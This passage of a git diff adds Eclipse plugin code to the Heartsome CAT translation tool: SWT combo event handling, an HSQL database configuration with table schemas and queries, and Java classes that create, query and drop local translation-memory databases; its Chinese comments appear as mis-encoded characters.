notifyListeners(SWT.MouseDoubleClick, mouseEvent); + break; + } + case SWT.MouseWheel: { + Event keyEvent = new Event(); + keyEvent.time = event.time; + keyEvent.keyCode = event.count > 0 ? SWT.ARROW_UP : SWT.ARROW_DOWN; + keyEvent.stateMask = event.stateMask; + notifyListeners(SWT.KeyDown, keyEvent); + if (isDisposed()) + break; + event.doit = keyEvent.doit; + if (!event.doit) + break; + if (event.count != 0) { + event.doit = false; + int oldIndex = table.getSelectionIndex(); + if (event.count > 0) { + select(Math.max(oldIndex - 1, 0)); + } else { + select(Math.min(oldIndex + 1, getItemCount() - 1)); + } + if (oldIndex != table.getSelectionIndex()) { + Event e = new Event(); + e.time = event.time; + e.stateMask = event.stateMask; + notifyListeners(SWT.Selection, e); + } + if (isDisposed()) + break; + } + break; + } + case SWT.Traverse: { + switch (event.detail) { + case SWT.TRAVERSE_ARROW_PREVIOUS: + case SWT.TRAVERSE_ARROW_NEXT: + // The enter causes default selection and + // the arrow keys are used to manipulate the list contents so + // do not use them for traversal. + event.doit = false; + break; + case SWT.TRAVERSE_TAB_PREVIOUS: + event.doit = traverse(SWT.TRAVERSE_TAB_PREVIOUS); + event.detail = SWT.TRAVERSE_NONE; + return; + } + Event e = new Event(); + e.time = event.time; + e.detail = event.detail; + e.doit = event.doit; + e.character = event.character; + e.keyCode = event.keyCode; + notifyListeners(SWT.Traverse, e); + event.doit = e.doit; + event.detail = e.detail; + break; + } + case SWT.Verify: { + Event e = new Event(); + e.text = event.text; + e.start = event.start; + e.end = event.end; + e.character = event.character; + e.keyCode = event.keyCode; + e.stateMask = event.stateMask; + notifyListeners(SWT.Verify, e); + event.doit = e.doit; + break; + } + } + } + + /** + * adjusts the last table column width to fit inside of the table if the table column data does not fill out the + * table area. + */ + private void autoAdjustColumnWidthsIfNeeded(TableColumn[] tableColumns, int totalAvailWidth, + int totalColumnWidthUsage) { + + int scrollBarSize = 0; + int totalColumns = (tableColumns == null ? 0 : tableColumns.length); + + // determine if the vertical scroll bar needs to be taken into account + if (table.getVerticalBar().getVisible()) { + scrollBarSize = (table.getVerticalBar() == null ? 0 : table.getVerticalBar().getSize().x); + } + + // is there any extra space that the table is not using? + if (totalAvailWidth > totalColumnWidthUsage + scrollBarSize) { + int totalAmtToBeAllocated = (totalAvailWidth - totalColumnWidthUsage - scrollBarSize); + + // add unused space to the last column. + if (totalAmtToBeAllocated > 0) { + tableColumns[totalColumns - 1].setWidth(tableColumns[totalColumns - 1].getWidth() + + totalAmtToBeAllocated); + } + } + } + + /** + * Returns the Text control reference. + * @return + */ + public Text getTextControl() { + checkWidget(); + return text; + } +} diff --git a/database/net.heartsome.cat.database.feature/.project b/database/net.heartsome.cat.database.feature/.project new file mode 100644 index 0000000..070bfaf --- /dev/null +++ b/database/net.heartsome.cat.database.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.database.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/database/net.heartsome.cat.database.feature/build.properties b/database/net.heartsome.cat.database.feature/build.properties new file mode 100644 index 0000000..3b8a221 --- /dev/null +++ b/database/net.heartsome.cat.database.feature/build.properties @@ -0,0 +1,2 @@ +javacDefaultEncoding.. = UTF-8 +bin.includes = feature.xml diff --git a/database/net.heartsome.cat.database.feature/feature.xml b/database/net.heartsome.cat.database.feature/feature.xml new file mode 100644 index 0000000..caf6017 --- /dev/null +++ b/database/net.heartsome.cat.database.feature/feature.xml @@ -0,0 +1,85 @@ + + + + + Heartsome CAT Database + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.hsql/.classpath b/database/net.heartsome.cat.database.hsql/.classpath new file mode 100644 index 0000000..c6fb0e5 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.hsql/.project b/database/net.heartsome.cat.database.hsql/.project new file mode 100644 index 0000000..6660dc7 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.hsql + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.hsql/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.hsql/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..dc75f95 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:26:51 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.hsql/Configure/db_config.xml b/database/net.heartsome.cat.database.hsql/Configure/db_config.xml new file mode 100644 index 0000000..04be30f --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/Configure/db_config.xml @@ -0,0 +1,277 @@ + + + + org.hsqldb.jdbcDriver + jdbc:hsqldb:file:__PATH__/__DATABASE_NAME__ + + Internal DB + + + sa + + + + + + + + + CREATE CACHED TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY char(1) not null, + USERS LONGVARCHAR, + TYPE INTEGER not null, + primary key (DBNAME) + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE = ? + + + + + + CREATE CACHED TABLE MHEADER + ( + MHPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + TMF varchar(255), + SRCLANG varchar(6), + ADMINLANG varchar(6), + DATATYPE varchar(10), + SEGTYPE varchar(10), + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + primary key (MHPKID) + ) + + + CREATE CACHED TABLE MHEADERNODE + ( + MHNPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + MHPKID INTEGER not null, + NNAME varchar(100) not null, + NTYPE char(1) not null, + CONTENT LONGVARCHAR not null, + primary key (MHNPKID) + ) + + + CREATE CACHED TABLE MTU + ( + MTUPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + MHPKID INTEGER not null, + TUID varchar(100), + CREATIONID varchar(40), + CREATIONDATE datetime, + CHANGEID varchar(40), + CHANGEDATE datetime, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + CLIENT varchar(255), + PROJECTREF varchar(255), + JOBREF varchar(255), + primary key (MTUPKID) + ) + + + CREATE CACHED TABLE LANG + ( + LANGCODE varchar(6) not null, + primary key (LANGCODE) + ) + + + CREATE CACHED TABLE MPROP + ( + MPPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + PARENTNAME varchar(30) not null, + PARENTID INTEGER not null, + PNAME varchar(100) not null, + LANG varchar(6), + ENCODING varchar(15), + CONTENT LONGVARCHAR not null, + primary key (MPPKID) + ) + + + + CREATE CACHED TABLE MEXTRA + ( + MEPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + PARENTNAME varchar(30) not null, + PARENTID INTEGER not null, + NTYPE char(1) not null, + NNAME varchar(100) not null, + CONTENT LONGVARCHAR not null, + primary key (MEPKID) + ) + + + CREATE CACHED TABLE MNOTE + ( + MNPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + PARENTNAME varchar(30) not null, + PARENTID INTEGER not null, + CONTENT LONGVARCHAR not null, + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + LANG varchar(6), + primary key (MNPKID) + ) + + + CREATE CACHED TABLE TEXTDATA + ( + TPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + TYPE char(1) not null, + GROUPID INTEGER not null, + HASH INTEGER not null, + PURE LONGVARCHAR not null, + CONTENT LONGVARCHAR not null, + LANG varchar(6) not null, + PRECONTEXT varchar(100), + NEXTCONTEXT varchar(100), + primary key (TPKID) + ) + + + + + + CREATE CACHED TABLE BATTRIBUTE + ( + BAPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + BMTHPKID INTEGER not null, + ANAME varchar(100) not null, + AVALUE varchar(255) not null, + PARENTNAME varchar(100) not null, + primary key (BAPKID) + ) + + + CREATE CACHED TABLE BMARTIFHEADER + ( + BMTHPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + HID varchar(100), + CONTENT LONGVARCHAR not null, + primary key (BMTHPKID) + ) + + + CREATE CACHED TABLE BREFOBJECTLIST + ( + BROLPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + BMTHPKID INTEGER not null, + ROLID varchar(100), + CONTENT LONGVARCHAR not null, + primary key (BROLPKID) + ) + + + CREATE CACHED TABLE BTERMENTRY + ( + BTEPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + BMTHPKID INTEGER not null, + CID varchar(100), + CONTENT LONGVARCHAR not null, + primary key (BTEPKID) + ) + + + CREATE CACHED TABLE BNODE + ( + NPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) not null, + PARENTPKID INTEGER not null, + PARENTNAME varchar(100) not null, + NTYPE char not null, + NNAME varchar(100) not null, + NID varchar(100), + CONTENT LONGVARCHAR not null, + primary key (NPKID) + ) + + + + + CREATE INDEX IDX_TEXTDATA_GROUPID ON TEXTDATA (GROUPID) + CREATE INDEX IDX_TEXTDATA_HASH ON TEXTDATA (HASH) + CREATE INDEX IDX_MPROP_PARENTID ON MPROP (PARENTID) + CREATE INDEX IDX_MEXTRA_PARENTID ON MEXTRA (PARENTID) + CREATE INDEX IDX_MNOTE_PARENTID ON MNOTE (PARENTID) + + + + + + + CREATE CACHED TABLE MATRIX___LANG__ + ( + MPKID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1 INCREMENT BY 1) NOT NULL , + TPKID INTEGER not null, + NGRAM INTEGER not null, + SEGSIZE INTEGER not null, + primary key (MPKID) + ) + + + + + CREATE INDEX IDX___LANG___NGRAM_SEGSIZE ON MATRIX___LANG__ (NGRAM,SEGSIZE) + + + + INSERT INTO MATRIX___LANG__ + (TPKID,NGRAM,SEGSIZE) + VALUES (?,?,?) + + + SELECT TPKID FROM MATRIX___LANG__ + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + + + DELETE FROM MATRIX___LANG__ + WHERE __WHERE__ + + + + + + + SELECT B.GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID IN (__SET__)) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM TEXTDATA A + LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND B.TYPE='B' + LEFT JOIN BNODE C ON A.GROUPID = C.PARENTPKID AND C.PARENTNAME = 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND LOCATE(LCASE(A.PURE),?)!=0 AND B.PURE IS NOT NULL + + + \ No newline at end of file diff --git a/database/net.heartsome.cat.database.hsql/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.hsql/META-INF/MANIFEST.MF new file mode 100644 index 0000000..f18b5cf --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database HSQL +Bundle-SymbolicName: net.heartsome.cat.database.hsql +Bundle-Version: 8.0.0.R8b_v20121205 +Bundle-Activator: net.heartsome.cat.database.hsql.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: lib/hsqldb.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. + diff --git a/database/net.heartsome.cat.database.hsql/build.properties b/database/net.heartsome.cat.database.hsql/build.properties new file mode 100644 index 0000000..95b1dc9 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/hsqldb.jar,\ + Configure/ diff --git a/database/net.heartsome.cat.database.hsql/lib/hsqldb.jar b/database/net.heartsome.cat.database.hsql/lib/hsqldb.jar new file mode 100644 index 0000000..aee69ef Binary files /dev/null and b/database/net.heartsome.cat.database.hsql/lib/hsqldb.jar differ diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/Activator.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/Activator.java new file mode 100644 index 0000000..d96074c --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.hsql; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.hsql"; + + // The shared instance + private static Activator plugin; + + // The hsql service registration + private ServiceRegistration hsqlServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + hsqlServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + hsqlServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/DbServiceProviderImpl.java new file mode 100644 index 0000000..fe4189c --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/DbServiceProviderImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.hsql; + +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.DBOperator; + +public class DbServiceProviderImpl implements DBServiceProvider{ + + public SystemDBOperator getOperateDBInstance() { + return new OperateSystemDBImpl(); + } + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/MetaDataImpl.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/MetaDataImpl.java new file mode 100644 index 0000000..6e1ed21 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/MetaDataImpl.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.database.hsql; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + + @Override + public boolean instanceSupported() { + return false; + } + + @Override + public boolean passwordSupported() { + return false; + } + + @Override + public boolean portSupported() { + return false; + } + + @Override + public boolean serverNameSupported() { + return false; + } + + @Override + public boolean userNameSupported() { + return false; + } + + +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/OperateSystemDBImpl.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/OperateSystemDBImpl.java new file mode 100644 index 0000000..c0b82c0 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/OperateSystemDBImpl.java @@ -0,0 +1,416 @@ +package net.heartsome.cat.database.hsql; + +import java.io.File; +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.hsql.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class OperateSystemDBImpl extends SystemDBOperator { + + private Logger logger = LoggerFactory.getLogger(OperateSystemDBImpl.class); + + public OperateSystemDBImpl() { + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setDbType(dbConfig.getDefaultType()); + } + + @Override + public int createDB() throws SQLException { + List createTables = dbConfig.getCreateTables(); + createTables.addAll(dbConfig.getCreateIndexs()); + return createDB(createTables, metaData); + } + + /** + * 创建数æ®è¡¨ + * @param createTables + * @param metaData + * @return + * @throws SQLException + * ; + */ + private int createDB(List createTables, MetaData metaData) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + conn.setAutoCommit(false); + stmt = conn.createStatement(); + if (createTables != null) { + for (String i : createTables) { + String step = Utils.replaceParams(i, metaData); + stmt.execute(step); + } + } + conn.commit(); + } catch (ClassNotFoundException e) { + logger.error("", e); + e.printStackTrace(); + return Constants.FAILURE; + } catch (SQLException e) { + logger.error("", e); + e.printStackTrace(); + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + throw e1; + } + } finally { + try { + stmt.executeUpdate("SHUTDOWN;"); + } catch (SQLException e) { + logger.error("", e); + } + freeConnection(stmt, conn); + } + return Constants.SUCCESS; + } + + @Override + public void removeSysDb(String dbName) throws SQLException { + Connection conn = null; + PreparedStatement pstmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(Constants.HSSYSDB); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // åˆ é™¤ç³»ç»Ÿè¡¨ä¸­çš„æ•°æ® + prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + String removeDb = dbConfig.getRemoveSysDb(); + pstmt = conn.prepareStatement(removeDb); + pstmt.setString(1, dbName); + pstmt.execute(); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } finally { + Statement _stmt = null; + try { + _stmt = conn.createStatement(); + _stmt.executeUpdate("SHUTDOWN;"); + } catch (SQLException e) { + logger.error("", e); + } finally{ + if(_stmt != null){ + _stmt.close(); + } + } + freeConnection(pstmt, conn); + } + } + + /** + * æ’入系统库 + * @param dbName + * æ•°æ®åº“å称 + * @param quality + * 是å¦ä¼˜åŒ– + */ + public void addSysDb(String dbName, String quality, int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + Connection conn = null; + PreparedStatement stmt = null; + try { + conn = getConnection(driver, url, prop); + String insertDb = Utils.replaceParams(dbConfig.getInsertSysDb(), data); + stmt = conn.prepareStatement(insertDb); + stmt.setString(1, dbName); + stmt.setString(2, quality); + stmt.setInt(3, type); + stmt.execute(); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } catch (SQLException e) { + logger.warn("", e); + } finally { + Statement _stmt = null; + try { + _stmt = conn.createStatement(); + _stmt.executeUpdate("SHUTDOWN;"); + } catch (SQLException e) { + logger.error("", e); + } finally{ + if(_stmt != null){ + try { + _stmt.close(); + } catch (SQLException e) { + logger.error("",e); + } + } + } + freeConnection(stmt, conn); + } + } + + /** + * 创建系统库 + * @return + * @throws SQLException + */ + public int createSysDb() throws SQLException { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return Constants.FAILURE; + } + List createTables = dbConfig.getCreateSysTables(); + return createDB(createTables, data); + } + + @Override + public boolean checkSysDb() { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + Connection conn = null; + Statement stmt = null; + ResultSet rs = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + try { + conn = getConnection(driver, url, prop); + stmt = conn.createStatement(); + rs = stmt.executeQuery("SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB"); + } catch (ClassNotFoundException e) { + logger.warn(Messages.getString("hsql.OperateSystemDBImpl.logger1"), e); + return false; + } catch (SQLException e) { + // 系统表ä¸å­˜åœ¨åˆ™åˆ›å»ºç³»ç»Ÿè¡¨ + List createTables = dbConfig.getCreateSysTables(); + try { + createDB(createTables, data); + return true; + } catch (SQLException e1) { + logger.error(Messages.getString("hsql.OperateSystemDBImpl.logger2"), e); + return false; + } + } finally { + try { + if(stmt != null){ + stmt.executeUpdate("SHUTDOWN;"); + } + } catch (SQLException e) { +// logger.error("", e); + } + if(rs != null){ + try { + rs.close(); + } catch (SQLException e) { + logger.error("",e); + } + } + freeConnection(stmt, conn); + } + return true; + } + + @Override + public List getSysDbNames(int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return null; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + Connection conn = null; + PreparedStatement stmt = null; + ResultSet rs = null; + List result = new ArrayList(); + try { + conn = getConnection(driver, url, prop); + String sql = dbConfig.getSysDbList(); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, type); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getString("DBNAME")); + } + } catch (ClassNotFoundException e) { + logger.warn("", e); + } catch (SQLException e) { + logger.warn("", e); + } finally { + Statement _stmt = null; + try { + _stmt = conn.createStatement(); + _stmt.executeUpdate("SHUTDOWN;"); + } catch (SQLException e) { + logger.error("", e); + } finally{ + if(stmt != null){ + try { + _stmt.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + } + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + freeConnection(stmt, conn); + } + return result; + } + + @Override + public boolean checkDbConnection() { + return true; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#checkDbExistOnServer() + */ + @Override + public boolean checkDbExistOnServer() { + Connection conn = null; + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + try { + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + String driver = dbConfig.getDriver(); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + prop.setProperty("ifexists", "true"); + conn = getConnection(driver, url, prop); + } catch (ClassNotFoundException e) { + logger.error(Messages.getString("hsql.OperateSystemDBImpl.logger3"), e); + return false; + } catch (SQLException e) { + //logger.error("", e); + // Just check ,so don't need record the exception + return false; + } finally { + if (conn != null) { + try { + Statement stmt = conn.createStatement(); + stmt.executeUpdate("SHUTDOWN;"); + freeConnection(stmt, conn); + } catch (SQLException e) { + logger.error("", e); + } + } + } + return true; + } + + @Override + public void dropDb(String dbName) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(dbName); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + conn.setAutoCommit(false); + stmt = conn.createStatement(); + String path = metaData.getDataPath(); + stmt.executeUpdate("SHUTDOWN;"); + stmt.close(); + conn.close(); + File f = new File(path + "/" + dbName + ".script"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".properties"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".data"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".backup"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".log"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".lck"); + if (f.exists()) { + f.delete(); + } + f = new File(path + "/" + dbName + ".tmp"); + if (f.exists()) { + f.delete(); + } + f = null; + } catch (ClassNotFoundException e) { + logger.warn("", e); + } + } + + @Override + protected Connection getConnection(String driver, String url, Properties prop) throws ClassNotFoundException, + SQLException { + Class.forName(driver); + return DriverManager.getConnection(url, prop); + } + +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/TMDatabaseImpl.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/TMDatabaseImpl.java new file mode 100644 index 0000000..326bc11 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/TMDatabaseImpl.java @@ -0,0 +1,158 @@ +package net.heartsome.cat.database.hsql; + +import java.net.URL; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.Hashtable; +import java.util.Properties; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +/** + * @author terry + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + /** + * 构造函数 + */ + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + @Override + public void start() throws SQLException, ClassNotFoundException { + String driver = dbConfig.getDriver(); + Class.forName(driver); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + prop.setProperty("ifexists", "true"); + conn = DriverManager.getConnection(url, prop); + // conn.setAutoCommit(false); + } + + // @Override + // public void end() throws SQLException { + // if (conn != null && !conn.isClosed()) { + // Statement statement = null; + // try { + // statement = conn.createStatement(); + // statement.executeUpdate("SHUTDOWN;"); + // } catch (SQLNonTransientConnectionException e) { + // e.printStackTrace(); + // super.end(); + // }catch (SQLException ex) { + // LOGGER.error("", ex); + // } finally { + // if (statement != null) { + // statement.close(); + // } + // } + // } + // super.end(); + // } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition 